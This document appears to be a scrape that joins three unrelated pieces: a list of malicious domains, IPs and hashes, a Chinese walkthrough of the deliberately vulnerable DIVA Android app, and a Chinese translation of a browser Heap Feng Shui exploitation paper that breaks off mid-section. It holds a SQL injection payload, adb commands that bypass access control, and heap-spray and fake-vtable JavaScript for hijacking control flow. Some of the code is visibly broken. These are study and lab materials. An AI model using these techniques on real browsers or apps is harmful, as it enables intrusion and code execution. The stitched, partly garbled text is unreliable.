dns mouses.strangled[.]net
ip 178.219.68[.]242
dns ftp.fueldust.compress[.]to
dns ftp.linear.wikaba[.]com
dns ftp.mysterysoft.epac[.]to
dns ftp.scroller.longmusic[.]com
dns ftp.spartano.mefound[.]com
dns fueldust.compress[.]to
dns linear.wikaba[.]com
dns mysterysoft.epac.to
dns safety.deaftone[.]com
dns salary.flnet[.]org
dns scroller.longmusic[.]com
dns spartano.mefound[.]com
ip 88.83.25[.]122
dns robot.wikaba[.]com
ip 41.223.91[.]217
dns smileman.compress[.]to
dns decent.ignorelist[.]com
dns dekka.biz[.]tm
dns disol.strangled[.]net
dns eraser.2waky[.]com
dns filelord.epac[.]to
dns justsoft.epac[.]to
dns smuggler.zzux[.]com
dns sport-journal.twilightparadox[.]com
dns sportinfo.yourtrap[.]com
dns stager.ignorelist[.]com
dns tankos.wikaba[.]com
dns grandfathers.mooo[.]com
dns homeric.mooo[.]com
dns jamming.mooo[.]com
dns pneumo.mooo[.]com
dns razory.mooo[.]com
dns anger.scieron[.]com
dns gantama.mefound[.]com
dns letgetbad.epac[.]to
dns rowstate.epac[.]to
dns memento.info[.]tm
ip 196.43.240[.]177
dns bughouse.yourtrap[.]com
dns news100top.diskstation[.]org
ip 169.255.102[.]240
dns harm17.zzux[.]com
dns mountain8.wikaba[.]com
sha256 0e0045d2c4bfff4345d460957a543e2e7f1638de745644f6bf58555c1d287286 other
sha256 bdcc7e900f10986cdb6dc7762de35b4f07f2ee153a341bef843b866e999d73a3 other
sha256 fac13f08afe2745fc441ada37120cebce0e0aa16d03a03e9cda3ec9384dd40f2 backdoor
sha256 bae62f7f96c4cc300ec685f42eb451388cf50a13aa624b3f2a019d071fddaeb1 other | 社区文章 |
# 【技术分享】Android App常见安全问题演练分析系统-DIVA-Part2
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/cracking-damn-insecure-and-vulnerable-app-diva-part-2/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[ **houjingyi233**](http://bobao.360.cn/member/contribute?uid=2802394681)
**预估稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】Android App常见安全问题演练分析系统-DIVA-Part1**](http://bobao.360.cn/learning/detail/3048.html)
APK下载：<http://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz>
源代码下载：<https://github.com/payatu/diva-android>
前一部分我们讨论了不安全的日志输出、硬编码问题和不安全的数据存储。这一部分我们继续讨论android app中其它的常见安全问题。
**VII. 问题4 ：输入验证问题**
在APP中点击“7. INPUT VALIDATION ISSUES – PART
1”。如果你知道用户名，你就能取得与之相关的数据。我们的目标是在不知道用户名的情况下获取所有的数据。点击之后你会看到下面的activity页面。
由于它具有搜索功能，我的第一个假设是应用程序可能会根据用户输入从数据库中搜索某些内容。会存在SQL注入漏洞么？？？我们需要测试一下。这次我们来做一个黑盒测试而不是先看代码。让我们输入一个单引号，看看应用程序的响应。
看起来没有什么反应，但是在logcat中我找到了下面的条目。
好消息!可能存在SQL注入。从上面的错误可以看出，程序使用SQL查询从SQLite数据库中获取信息，而我们输入的单引号造成语句中单引号没有配对，从而出错。我们再加一个单引号，看看app有什么反应。
看起来程序正在搜索输入的数据，没有产生SQL错误。为了进一步确认，我们再加一个单引号，看看是否会引发SQL错误。
logcat中再次看到了下面的结果。
完美!现在确认了SQL注入，奇数个单引号会导致SQL错误，当引号刚好匹配时SQL查询正好会执行。下一步呢？我们使用一个总是返回true的字符串来得到数据库中的数据。
1’ or ‘1’ != ‘2
如图所示，通过执行恶意的SQL查询我们能够得到应用数据库中的所有数据。下面是导致问题的SQLInjectionActivity.class中的一部分代码。
下面这句代码正是导致问题的罪魁祸首，app接收了用户的输入，没有经过验证就直接加入到SQL查询语句中。
cr = mDB.rawQuery("SELECT * FROM sqliuser WHERE user = '" + srchtxt.getText().toString() + "'", null);
在app中点击“8. INPUT VALIDATION ISSUES – PART
2”。这个activity的功能是显示用户输入的网页。如图，当你输入www.baidu.com它会使用一个webview去加载这个页面。
我们的目标是使用此功能访问设备上的敏感信息。先来看看它的源代码，在InputValidation2URISchemeActivity.java中。
程序使用loadUrl方法加载用户输入的URL，这个方法也可以加载本地文件。我们创建一个1.txt，在里面写上123。
把这个文件传到sdcard上。
使用file:///格式来读取文件。
成功读取了文件内容。
在app中点击“13. INPUT VALIDATION ISSUES – PART
3”。这个程序要求输入一个密码，我们的目标是在不知道密码的情况下让程序崩溃。
我们一次性多输入一些字符串，程序就会崩溃并退出。我输入了一串a，现在让我们用adb logcat命令查看在logcat中是否有对我们有用的信息。
从上面logcat中可以看出，很显然崩溃是因为CPU试图跳转到61616160地址处发生的，a的ASCII值就是0x61。我们来看看InputValidation3Activity.java中的源代码。
这个校验是在native层做的，来看看divajni.c。
Buffer的大小是20，由于strcpy函数缺少边界检查导致缓冲区溢出，程序崩溃。理论上来讲这个漏洞还可以继续进一步利用，如果大家有兴趣深入研究的话可以参考这篇文章[ARM栈溢出攻击实践：从虚拟环境搭建到ROP利用](http://www.freebuf.com/articles/terminal/107276.html
"ARM栈溢出攻击实践：从虚拟环境搭建到ROP利用")。
**VIII 问题 5：访问控制问题**
在APP中点击“9.ACCESS CONTROL ISSUES – PART 1”。你会看到下面的界面。
我们可以通过点击上述活动中显示的“VIEW API CREDENTIALS”按钮访问API凭据。
我们的目标是在不点击此按钮的情况下访问这些信息。看看AndroidManifest.XML文件中与Vendor API Credentials
activity相关的信息。
如果你注意到以上的信息，你就会发现activity是通过intent filter“保护”的。intent
filter不应该被作为一种保护机制。当intent
filter和像activity这样的组件一起使用时，组件是被暴露在外的。这里的activity可以被其它应用从外部加载，这是非常不安全的。我们可以通过终端中下面的命令来验证。
上面的命令通过-a参数指定intent。虽然adb shell am start
jakhar.aseem.diva/.APICredsActivity命令也能起到同样的作用，但是这是一种更普遍的方式。
在APP中点击“10.ACCESS CONTROL ISSUES – PART 2”。你会看到下面的界面。
如果你是注册用户，你就能访问tweeter API的凭据。我们的目标是在不注册的情况下访问它。再次看看AndroidManifest.XML文件。
看起来和前面并没有什么区别。我们试试下面的命令看看能否成功。
当我们运行上述命令之后会看到下面的界面。
看来程序还有一些额外的检查。让我们看看源代码文件APICreds2Activity.java。
可以看出，当我们用ADB命令启动intent时需要一个额外的布尔类型参数。下面这一行解析字符串chk_pin。
boolean bcheck=i.getBooleanExtra(getString(R.string.chk_pin),true);
我们可以在strings.xml中查找它实际对应的值。
下一行是检查check_pin值是否为false。这个条件是用来验证用户是否已经注册的，可以从AccessControl2Activity.java的以下代码中看出。
如果用户已经注册，check_pin会被设置为false，否则被设置为true。当check_pin被设置为false时，应用程序没有进行其它检查。所以，让我们尝试将这个额外的参数传递给intent，看看它是否有效。
-ez参数传递一个类型为boolean的键值对。运行上述命令将显示以下内容。
和前面一样，adb shell am start -n jakhar.aseem.diva/.APICreds2Activity -ez check_pin
false也是可以的。
在APP中点击“11.ACCESS CONTROL ISSUES – PART 3”。你会看到下面的界面。
我们输入一个新的PIN码。一旦你这样做，将出现一个新的按钮，如下所示。
点击这个按钮，它将启动一个新的activity，如下所示。
我们可以通过输入之前设置的PIN来访问私人笔记。
我们的目标是在不输入PIN码的情况下访问这些内容。AndroidManifest.XML文件显示程序注册了一个content
provider，并且android:exported属性为true。
Content
Providers使用以content://开头的URI来表示。我们需要找到访问数据的URI。首先使用apktool反编译apk得到smail代码。
在smail代码目录下搜索包含content://字符串的所有文件。
正如我们在AndroidManifest.XML文件中看到的那样，content provider被导出，因此我们可以在没有任何明确许可的情况下查询它。
**IX问题 6：硬编码**
前面我们已经研究过一个硬编码问题了。在APP中点击“12. HARDCODING ISSUES – PART 2”。你会看到下面的界面。
我们的目标是找到vendor key并提交给程序。下面是Hardcode2Activity.
class中和这个activity相关的反编译代码。有许多工具可以直接得到反编译apk得到java代码，常用的有jadx、JEB、GDA等等。这里我用的是JEB。
看起来这个activity在加载时创建了DivaJni class的一个对象。查看其它文件发现有一个叫做DivaJni.class的文件。
程序加载了一个名为divajni的库，解压apk进入lib目录。对于每种架构，都有一个libdivajni.so的实例。随便找一个运行strings命令，看看我们是否可以找到什么有趣的东西。
在windows系统下运行这个命令可以使用SysinternalsSuite中的strings.exe。
olsdfgad;lh这个字符串看起来很有趣，我们来试试。
我们找到了这个key。很显然，将字符串硬编码在so文件中也同样是不安全的。
这个APP中的全部漏洞就讲解完了，希望能为大家学习android应用程序漏洞带来帮助。
**传送门**
* * *
**[【技术分享】Android App常见安全问题演练分析系统-DIVA-Part1](http://bobao.360.cn/learning/detail/3048.html)** | 社区文章 |
# Introduction
从XP SP2到来起，Windwos堆漏洞的利用变得越来越难。堆保护机制像是safe unlinking和heap
cookies已经成功的让许多通用的堆利用技术失效。当然，存在绕过堆保护的方法，但是这些方法往往要需要控制漏洞程序的分配模式。
本文将会介绍一个新的技术，（+++通过特定的javascript分配序列精确操作浏览器的堆布局+++），我们提供了一个JavaScript的库，里面包含用于在触发堆损坏错误之前在受控状态下设置堆的函数。这能使我们能更有效和准确地利用一些非常难利用的堆漏洞。
## Previous work
最为广泛使用的浏览器堆漏洞利用技术是SkyLined为IE
iframe利用而出现的堆喷射技术。这个方法使用JavaScript创建大量由Nop和shellcode组成的字符串。JavaScript运行的时候会将每一个字符串的数据存储在堆中的新块上。堆的分配通常从起始地址向上增长。在为字符串分配了200MB的内存之后，会发现在50MB和200MB之间的任何地址大多都指向Nop指令。在用这个范围内的地址覆盖返回地址或者一个函数指针之后，程序将会被控制跳转执行到这些NOP指令并且让shellcode执行。
下面举一个JavaScript代码的例子来说明：
var nop = unescape("%9090%u9090");
//创建一个1MB的带有shellcode的NOP指令字符串，
//
// malloc header string length NOP slide shellcode NULL terminator
//32 bytes 4 bytes x bytes y bytes 2 bytes
while(nop.length <= 0x100000/2) nop += nop;
nop = nop.substring(0,0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2)
var x = new Array();
//用NOP和shellcode填充200MB的内存空间
for(var i = 0; i < 200; i++){
x[i] = nop + shellcode;
}
对这项技术进行轻微的改动可以对虚表和对象指针的覆盖进行利用。如果一个对象的指针调用一个虚函数，编辑器生成的代码大致是这样：
mov ecx, dword ptr [eax] ;得到虚表地址
push eax ;C++用this指针传递第一个参数
call dword ptr[rcx + 08h] ;调用在虚表内偏移为0x8h的函数
每个C++对象的前四个字节都包含一个指向虚表的指针。为了利用一个被覆盖的对象指针，我们需要使用指向一个伪造对象的地址，该对象包含一个伪造的虚表，其中包含了shellcode的指针。而事实证明在内存中建立这样的结构并不像想象中的那么难。第一步是使用一系列的0xC字节序列作为滑板指令，然后用一个指向这些滑板指令的地覆盖对象指针.伪造对象开始的虚表指针将会指向0x0C0C0C0C.内存里也包含了0xOC这样的字节序列，所以虚表里的所有虚表指针都会指向0x0C0C0C0C。调用任何该虚表中的虚函数的结果都会执行shellcode。
下面是这一系类的过程：
SkyLined的技术关键在于JavaScript代码可以访问堆系统。本来将进一步讨论这个问题，并且将会探讨如何使用JavaScript代码完全控制堆。
## MOVTIVATION
虽然上述的堆喷射技术有着很好的效果，但是单独使用堆喷并不可靠。有两个理由。
在Windwos XP
SP2及以上更早的版本覆盖堆中的数据相比通过破坏malloc内部的数据结构更容易对堆漏洞进行利用，后来因为堆分配器对malloc块头和双链表的空闲块执行附加验证，这使得标准堆利用方法失效。因此，许多对漏洞的利用是通过堆喷技术让shellcode填充地址空间，然后尝试覆盖堆上的对象或虚表指针。虽然操作系统中的堆保护不扩展到存储在内存中的应用程序数据，但是堆的状态很难预测，所以不能保证被覆盖的内存总是包含相同的数据。在这种情况下exp可能会失效。
其中一个例子就是Metasploit框架中的ie_webview_setslice漏洞。它再次出发了一个对漏洞，希望在堆中足够多的垃圾数据能够到使程序跳转执行到一个随机的堆地址中。当然结果如人所料，这样的漏洞利用方式并不总是成功的。
第二个问题是利用该漏洞的可靠性和堆喷消耗的系统内存量之间的权衡问题。如果一个EXP用shellcode把浏览器的地址空间完全填充，当然这样任意的跳转都可以使shellcode得到执行，但是系统的物理内存毕竟是有限的，这样使用很多的内存页的堆喷会降低系统性能。而且如果攻击者在堆喷射完成之前关闭了浏览器，此次堆喷就会失败。
这篇文章将会演示如何解决这两个问题来使漏洞的利用更加有效可靠。
# Internet Explorer heap internals
## OVERVIEW
通常情况下，浏览器中经用来破坏利用的堆内存由三个主要的组件所分配。第一个是MSHTML.DLL负责管理当前页面上显示的HTML元素的内存。它在页面的初始化阶段和随后的DHTML操作中分配内存。内存是从默认进程堆中分配的，当页面关闭或HTML元素被销毁时，内存被释放。
管理内存的第二个组件是JavaScript引擎中的JSCRIPT.DLL。除了从默认进程堆分配的字符串之外，新的JavaScript对象的内存是从专用的JavaScript堆中分配的。当总内存消耗或对象数量超过特定阈值时，垃圾收集器会运行并销毁未引用的对象。也可以通过调用CollectGarbage（）函数显式地触发垃圾收集器进行多余对象的回收。
最后一个组件是在堆漏洞利用中经常引发堆漏洞的ActiveX。某些ActiveX控件使用专用的堆，但大多数还是会在默认进程堆上分配和损坏内存。
值得注意的是Internet
Explorer的三个组件使用相同的默认进程堆。这意味着使用JavaScript分配和释放内存会改变MSHTML和ActiveX控件使用的堆的布局，同样我们可以使用ActiveX控件中的堆损坏错误来覆盖其他两个浏览器组件分配的内存。
## JavaScript strings
JavaScript引擎大部分内存是通过使用MSVCRT
malloc（）和new（）函数来分配，在CRT初始化期间使用专用的堆。一个重要的例外是JavaScript字符串的数据。它们被存储为BSTR字符串，这是COM接口使用的基本字符串类型。它们的内存由OLEAUT32.DLL中SysAllocString函数族的默认进程堆分配。
要在堆上分配一个新的字符串，我们需要创建一个新的JavaScript字符串对象。
我们不能简单地将字符串文字分配给一个新的变量，因为这不会对数据进行拷贝创建新字符串。另一方面，我们可以通过连接两个字符串或使用substr函数来创建，例如：
var str1 = "AAAAAAAA" //不会分配一个新的字符串
var str2 = str1.substr(0,10); //分配一个新的10个字符的字符串
var str3 = str1 + str2; //分配一个新的20个字符的字符串
BSTR字符串作为包含四字节大小字段的结构存储在内存中，后面跟着字符串数据为16位宽字符，以及一个16位空终止符.上例中的str1字符串在内存中将具有以下表示形式：
我们可以使用以下两个公式来计算一个字符串分配多少个字节，或者一个字符串必须分配多少字节数：
bytes - len * 2 + 6
len = (bytes - 6) / 2
字符串存储的方式允许我们通过一个覆盖任意大小的内存块的函数来实现分配一个新字符串。代码将使用len =（bytes-6）/ 2公式计算所需的字符串长度，并且调用substr 分配一个对应长度的新字符串。该字符串将使用复制的数据填充字符串。如果我们要将特定的数据放入新的内存块，我们只需要事先初始化填充字符串。
//用填充数据构建一个长字符串
padding = "AAAA"
while(padding.length < MAX_ALLOCATION_LENGTH)
padding = padding + padding;
//按字节分配指定大小的内存块
function alloc(bytes){
return padding.substr(0, (bytes-6)/2);
## Garbage collection
要操纵浏览器堆布局，只能分配任意大小的内存块是不够的，我们还需要使用某种方法来释放它们。JavaScript运行时使用一个mark-and-sweep垃圾回收器，Eric
Lippert博客上的一篇文章有详细描述(<http://blogs.msdn.com/ericlippert/archive/2003/09/17/53038.aspx)。>
垃圾收集是由各种启发式触发的，例如程序最后运行时创建的对象。mark-and-sweep算法标识JavaScript运行时中的所有未被引用的对象并销毁它们。当一个字符串对象被销毁时，通过调用OLEAUT32.DLL中的SysFreeString来释放它,这是垃圾收器的回溯：
为了释放我们分配的其中一个字符串，我们需要运行垃圾回收器删除它的所有引用。幸运的是，我们不必等待一个触发器，因为JavaScript在Internet
Explorer中提供了一个CollectGarbage（）函数，该函数会强制垃圾收集器运行。 该函数功能如下代码所示：
var str;
//我们需要在一个函数内进行分配和释放
//否则垃圾收集器不会释放字符串
function alloc_str(bytes){
str = padding.substr(0, (bytes-6)/2);
}
function free_str(){
str = null;
CollectGarbage();
}
alloc_str(0x10000); //分配内存块
free_str(); //释放内存块
上面的代码分配并释放了一个64KB的内存块，说明我们能够执行任意分配和释放默认进程堆。虽然我们只能释放由我们分配的块，但即使有这个限制，在很大程度上我们还是可以控制堆布局。
## OLEAUT32 MEMORY ALLOCATOR
不幸的是，调用SysAllocString并不总是从系统堆中分配。这个函数是使用一个自定义的内存分配器来分配和释放BSTR字符串的功能是在OLEAUT32的APP_DATA类中实现的。这个内存分配器维护一个释放内存块的缓存，并在将来的分配时候将该内存块重用。
高速缓存由4个bin组成，每个bin拥有一定大小范围的6个块。当一个块被APP_DATA ::
FreeCachedMem（）函数释放时，它被存储在一个bin中。如果bin满了，那么在bin中最小的块会通过HeapFree（）释放并被新的块替换。而大于32767字节的块没有被缓存并且总是被直接释放。
当调用APP_DATA ::
AllocCachedMem（）来分配内存时，它会在适当的大小bin中查找一个空闲块。如果找到足够大的块，它将从缓存中移除并返回给调用者。否则，
该函数将分配新的内存给HeapAlloc（）
内存分配的反编译代码如下所示：
//缓存中的每个结构都有一个大小和一个指向空闲块的指针
struct CacheEntry
{
unsigned int size;
void* ptr;
}
//高速缓存由4个容器组成，每个容器包含一定大小范围的6个块
class APP_DATA
{
CacheEntry bin_1_32 [6]; //从1到32字节的块
CacheEntry bin_32_64 [6];
CacheEntry bin_65_256 [6];
CacheEntry bin_257_32768 [6];
void* AllocCachedMem(unsigned long size); //alloc函数
void FreeCachedMem(void* ptr); //free函数
};
//分配内存，重用缓存中的块
void* APP_DATA::AllocCachedMem(unsigned long size)
{
CacheEntry* bin;
int i;
if(g_fDebNoCache == TRUE0)
goto system_alloc; //如果缓存被禁用，使用HeapAlloc
//为块找到大小合适的缓存容器
if(size > 256)
bin = &this->bin_257_32768;
else if(size > 64)
bin = &this->bin_65_256;
else if(size > 32)
bin = &this->bin_33_64;
else
bin = &this->bin_1_32;
//遍历容器中的所有条目
for(i = 0; i < 6; i++)
{
if(bin[i].size >= size)
{
bin[i].size = 0;
return bin[i].ptr;
}
}
system_alloc:
//使用系统内存分配器分配内存
return HeapAlloc(GetProcessHeap(), 0, size);
}
//释放内存并将缓存中的块释放
void APP_DATA::FreeCachedMem(void* ptr)
{
CacheEntry* bin;
CacheEntry* entry;
usigned int main_size;
int i;
if(g_fDebNoCache == True)
goto system_free;
//获取我们正在释放的块的大小
size = HeapSize(GetProcessHeap(), 0, ptr);
if(size > 32768)
goto system_free; //使用HeapFree释放较大的块
else if(size > 256)
bin = &this->bin_257_32768;
else if(size > 64)
bin = &this->bin_65_256;
else if(size > 32)
bin = &this->bin_33_64;
else
bin = &this->bin_1_32;
//迭代缓存容器中的所有条目并找到最小的条目
min_size = size;
entry = NULL;
for(i = 0; i < 6; i++)
{
//如果我们发现一个未使用的缓存条目，将该块放在那里并返回
if(bin[i].size == 0)
{
bin[i].size = size;
bin[i].size = ptr;
return;
}
//如果我们正在释放的块已经在缓存中，则中止
if(bin[i].ptr == ptr)
return;
//找到最小的缓存条目
if(bin[i].size < min_size)
{
min_size = bin[i].size;
entry = &bin[i];
}
}
//如果最小的缓存条目小于我们的块，用HeapFree释放缓存的块并将其替换为新的块
if(min_size < size)
{
HeapFree(GetProcessHeap(), 0, entry->ptr);
entry->size = size;
entry->ptr = ptr;
return;
}
system_free:
//使用系统内存分配器释放块
return HeapFree(GetProcessHeap(), 0, ptr);
}
APP_DATA内存分配器使用的缓存算法存在一个问题，我们分配和释放内存的操作中只有一些由调用系统分配器实现
## Plunger technique
由于高速缓存的每个bin中只能容纳6个block，我们通过为每个bin分配大小最大的6个块，来确保每个字符串分配都来自系统堆。这将确保所有的高速缓存分区都是空的。
那么就可以保证下一个字符串分配会对HeapAlloc（）进行调用。
如果我们释放了我们分配的字符串，该字符串将进入一个高速缓存的bin中。我们可以通过释放我们在上一步中分配的6个块来将它从缓存中清除。FreeCacheMem()函数会把所有较小的块从缓存中取出，而我们的字符串将被HeapFree（）释放，此时缓存将被填满，所以我们需要为每个bin分配6个最大的块来清空它。
上述的流程实际上可以总结为：我们使用6个块作为plunger，将所有较小的块从缓存中移出，然后我们再次分配6个块将plunger取出。
以下代码是plunger技术的实现：
plunger = new Array();
//该函数刷新缓存中的所有块，并将其置空
function flushCache()
{
// 释放plunger数组中的所有块，将所有较小的块移出
plunger = null;
CollectGarbage();
//为每个缓存容器分配6个最大的块，并将缓存置空
plunger =new Array();
for(i = 0; i < 6; i++)
{
plunger.push(alloc(32));
plunger.push(alloc(64));
plunger.push(alloc(256));
plunger.push(alloc(32768));
}
}
flushCache(); //在进行分配操作前刷新缓存
alloc_str(0x200);//分配字符串
free_str(); //释放字符串清空缓存
flushCache();
为了使用HeapFree（）把对应块从缓存中移出并释放它，块的大小必须小于它的bin的最大尺寸。否则FreeCachedMem中的min_size
<size条件不能被满足，plunger块将被释放。这意味着我们不能释放大小为32,64,256或32768的块，但这个限制的影响并不大。
### HeapLib - JavaScript heap manipulation library
我们在一个名为HeapLib的JavaScript库中实现了前一节中描述的方法，它提供了直接映射到系统分配的alloc（）和free（）函数，以及许多更高级别的堆操作例程。
### The Hello World of HeapLib
下面是使用HeapLib库的最基本的程序：
<script type="text/javascript" src = "heapLib.js"></script>
<script type="text/javascript">
//为Internet Explorer创建一个heapLib对象
var heap = new heapLib.ie();
//在进行分配任务之前运行垃圾收集器
heap.gc();
//分配512字节并填充
heap.alloc(512);
//为字符串“AAAA”分配一个新的内存块，并用“foo”标记该块
heap.alloc("AAAAA","foo");
//释放所有用“foo”标记的块
heap.free("foo")
</script>
这个程序分配一个16字节的内存块并将字符串“AAAAA”复制到该块中。用“foo”标记该块并作free（）的参数。free（）函数释放内存里所有标有这个标签的块。
就其对堆的影响而言，这个Hello world程序相当于以下c ++代码：
block1 = HeapAlloc(GetProcessHeap(), 0, 512);
block1 = HeapAlloc(GetProcessHeap(), 0, 16);
HeapFree(GetProcessHeap(), 0, block2);
### Debugging
HeapLib提供了一些函数，可以用来调试库并检查它在堆上的效果。这里有一个简单的例子演示了调试功能：
heap.debug("Hello!"); //输出调试信息
heap.debugHeap(true); //启用堆分配的跟踪调试
heap.alloc(128, "foo");
heao.debugBreak(); //在Windbg中断下
heap.free("foo");
heap.debugHeap(false); //关闭调试
查看调试输出，用WinDbg附加到IEXPLORE.EXE进程并设置以下断点：
第一个断点断在ntdll！RtlAllocateHeap的RET指令。上面的地址对Windows xp
sp2环境下有效，但是对于其他系统可能需要进行调整。断点假设默认进程堆在0x150000上.用WindDbg的uf和！ped命令可以查看这些地址：
设置这些断点后，运行上面的示例代码将在WinDbg中输出调试信息：
我们可以看到alloc（）函数在地址0x1e0b48处分配了0x80字节的内存，之后用free（）函数释放。示例程序还通过调用HeapLib中的debugBreak（）在WinDbg中触发一个断点。该函数是通过调用带有特殊参数的JavaScript
acos（）函数，此函数会在WinDbg内触发jscript！JsAcos上的断点。这样我们就可以在继续执行JavaScript之前检查堆的状态。
## Utility functions
该库还提供了用于在开发中用来操作数据的函数。下面是使用addr（）和padding（）函数来准备虚表块的例子：
for(var i = 0; i < 100; i++)
{
//将100个地址0x0C0C0C0C的副本添加到vtable
vtable = vtable + heap.addr(0x0C0C0C0C);
}
//用“A”字符填充vtable，使块大小为1008字节
vtable = vtable +heap.padding(1008 - (vtable.length*2+6)/2);
如果想了解更多具体的细节，下一节将对对应函数进行相应描述。
# HeapLib reference
## Object-oriented interface
HeapLib API被实现为面向对象的接口。要在Internet Explorer中使用API，需要创建heapLib.ie类的实例。
| 构造函数 | 描述
---|---|---
| HeapLib.ie(maxAlloc,HeapBase) | 为Internet Explorer创建一个新的heapLib
API对象。maxAlloc参数用设置块大小的最大值，可以使用alloc（）函数来分配。参数：·maxAlloc -最大的分配大小(字节)（默认是65535）heapBase - 进程堆的默认基地址（默认是0x150000） |
下面介绍的所有函数都是heapLib.ie类的实例方法
### Debugging
将WinDbg附加到IEXPLORE.EXE进程并设置上述断点输出调试内容。如果调试器不存在，下面的函数不起作用。
函数 | 描述
---|---
debug(msg) | 在WinDbg中输出一个调试信息。msg参数必须是字符串。使用字符串连接来构建消息将导致堆分配.参数：·msg - 字符串输出
debugHeap(enable) | 在WinDbg中启用或禁用堆操作的日志记录参数：enable -一个boolean值，设置为true启用堆记录debugBreak() 在调试器中触发一个断点
## Unility functions
函数 | 描述
---|---
padding(len) | 返回指定长度的字符串，数量取决于在heapLib.ie构造函数中设置的最大分配大小。字符串包含“A”字符。参数：·len -字符的长度例子：heap.padding(5) //returns “AAAAA”
round(num, round) | 返回一个指定值的整数参数：·num - 范围内整数·round - 取值范围例子：heap.round(210,
16) //returns 224
hex(num, width） | 将一个整数转换为十六进制字符串。该函数使用堆.参数：·num -要转换的整数·（可选）转换后用的位数（不足用0填充）例子：heap.hex(210, 8) /returns “000000D2”
addr(addr) | 将32位地址转换为内存中具有相同表示形式的4字节字符串。此函数使用堆。参数：addr -整数表示的地址例子：heap.addr(0x1523D200) //返回值等价于 //unescap(“%uD200%u1523”)
## Memory allocation
函数 | 描述
---|---
alloc(arg,tage) |
使用系统内存分配器分配一个指定大小的块。对这个函数的调用相当于调用HeapAlloc（），如果第一个参数是一个数字，它指定新块的大小，填充“A
“字符。如果参数是一个字符串，则它的数据被复制到一个大小为arg.length * 2 +
6的新块中。在这两种情况下，新块的大小必须是16的倍数并且不等于32,64,256 或32768参数：·arg -内存块的大小（以字节为单位），或者一个字符串·（可选）标识内存块的标签例子：heap.alloc(512, “foo”)
//分配一个用“foo”标识的512字节大小的内存块并被“A”填充heap.alloc(“BBBBB”)
//分配一个无标记的16字节大小的内存块，并将“BBBBB”拷贝进去
free(tag) | 释放所有使用系统内存分配器分配的带有相应标记的内存块。调用此函数相当于调用HeapFree（）参数：·tag -标识要释放的块组的标签例子：heap.free(“foo”) //释放所有用“foo”标记的内存块
gc() | 运行垃圾收集器并刷新OLEAUT32缓存。在使用alloc（）和free（）之前调用该函数。
## Heap manipulation
以下函数用于在Windows 2000，xp和2003中操作内存分配器。Windows Vista中的堆分配器由于存在显着显著差异这些函数不被此系统支持。
函数 | 描述
---|---
freeList(arg,count) |
将指定大小的块添加到列表中，确保它们不合并。在调用此函数之前，必须对堆进行碎片整理。如果内存块的大小小于1024，则必须确保lookaside存满。参数：·
arg - 以字节为单位的新块的大小，或strdup的一个字符串·count -需要加进列表的块的数量（默认值是1）例子：heap.freeList(“BBBBB”,5) //向空闲列表中添加5个包含字符串“BBBBB”的块
lookaside() | 将指定大小的块添加到lookaside。在调用这个函数之前lookside必须为空。参数：· arg -以字节为单位的新块的大小，或strdup的一个字符串· count -添加到lookaside的块的数量（默认为1）例子：Heap.lookaside(“BBBBB”,5)
//向lookaside中添加5个包含字符串“BBBBB”的块
lookasideAddr() | 为指定大小的块返回后备链表头部的地址。使用heapLib.ie构造函数中的heapBase参数.参数：·arg -以字节为单位的新块的大小，或strdup的一个字符串例子：heap.lookasideAddr(“BBBBB”) //returns 0x150718
vtable(shellcode,jmpecx,size) |
返回一个包含shellcode的虚表。调用者应该将虚表释放到lookaside，并使用lookaside头的地址作为对象指针。当使用虚表时，对象的地址必定在eax中，和指向
vtable必定在ecx中。任何虚函数通对从ecx + 8到ecx +
0x80的虚表调用都会使shellcode执行。这个函数使用堆。参数：·shellcode - shellcode字符串·jmpecx - jmp
ecx的地址或同等的指令的地址·size - 生成的虚表的大小例子：heap.vtable(shellcode,
0x4058b5)//生成一个有指针指向shellcode的大小为1008字节的虚表
## USing HeapLIb
## Defragmenting the heap
一个影响漏洞利用的因素就是堆碎片。如果开始时堆空，我们可以通过计算并确定由特定分配序列产生的堆的状态。不过麻烦的是如果存在堆碎片，那么当我们的exp执行时我们就不知道堆的状态，
这使得堆分配器的行为不可预知。
我们可以通过对堆进行碎片整理来解决这个问题。可以通过分配大量我们的漏洞利用所需的大小的块来完成，这些块将填充堆中的所有可用空间，并确保后续可以从堆的末尾分配相同大小的块。这样，分配器的行为将等同于对空堆进行操作。
以下代码将对大小为0x2010字节的块进行碎片整理：
for(var i = 0; i < 1000; i++)
heap.alloc(0x2010)
### Putting blocks on the free list
假设我们有一段从堆中分配一块内存的代码，并在没有初始化的情况下使用它。如果我们可以控制块中的数据，我们就可以利用这个漏洞。我们需要分配一个相同大小的块，用来填写我们的数据，并释放它。然后下一次分配相同大小的块将包含我们的填入的数据。
实现以上方法的唯一的障碍是系统内存分配器中的合并算法。如果我们释放的块与另一个空闲块相邻，那么它们将被合并成更大的块，接下来分配的块可能不会包含我们的数据。为了防止这种情况发生，我们将分配三个相同大小的块，并且释放中间块。首先对堆进行碎片处理确保这三个块是连续的，而且中间块不会被合并。
heap.alloc(0x2020); //分配3个连续的块
heap.alloc(0x2020, "freeList");
heap.alloc(0x2020);
heap.free("freeList"); //释放中间的块
`
HeapLib库提供了一个方便的函数来实现上述技术。下面的例子展示了如何将x02020字节块添加到空闲列表中：
heap.freeList(0x2020);
### Emptying the lookaside
要清空一个特定大小的lookaside列表，我们只需要分配足够大小的块。通常lookaside不超过4个块，但是我们已经在XP
SP2上看到了更多entry的lookaside。我们将分配100 块，只是用来验证是否是这样。
for(var i = 0; i < 100; i++)
Heap.alloc(0x100);
Freeing to the lookaside
一旦lookaside置空，任何大小的区块在我们释放时都会被放到lookaside里
//lookaside置空
for(var i = 0; i <100; i++)
heap.alloc(0x100)
//分配块
heap.alloc(0x100,"foo");
//释放块到lookaside
heap.free("foo");
HeapLib中的lookaside（）函数实现了这种技术：
//lookaside置空
for(var i = 0; i < 100; i++)
heap.alloc("0x100");
//向lookaside里添加三个块
heap.lookaside(0x100);
### Using the lookaside for object pointer exploitation
跟踪一个块被送进lookaside上的过程是一件很有趣的事情。让我们从一个空的lookaside列表开始。如果堆的底部是0x150000，那么大小为1008的块的lookaside头的地址将是0x151e58。因为
lookaside是空的，这时这个位置将包含一个NULL指针。
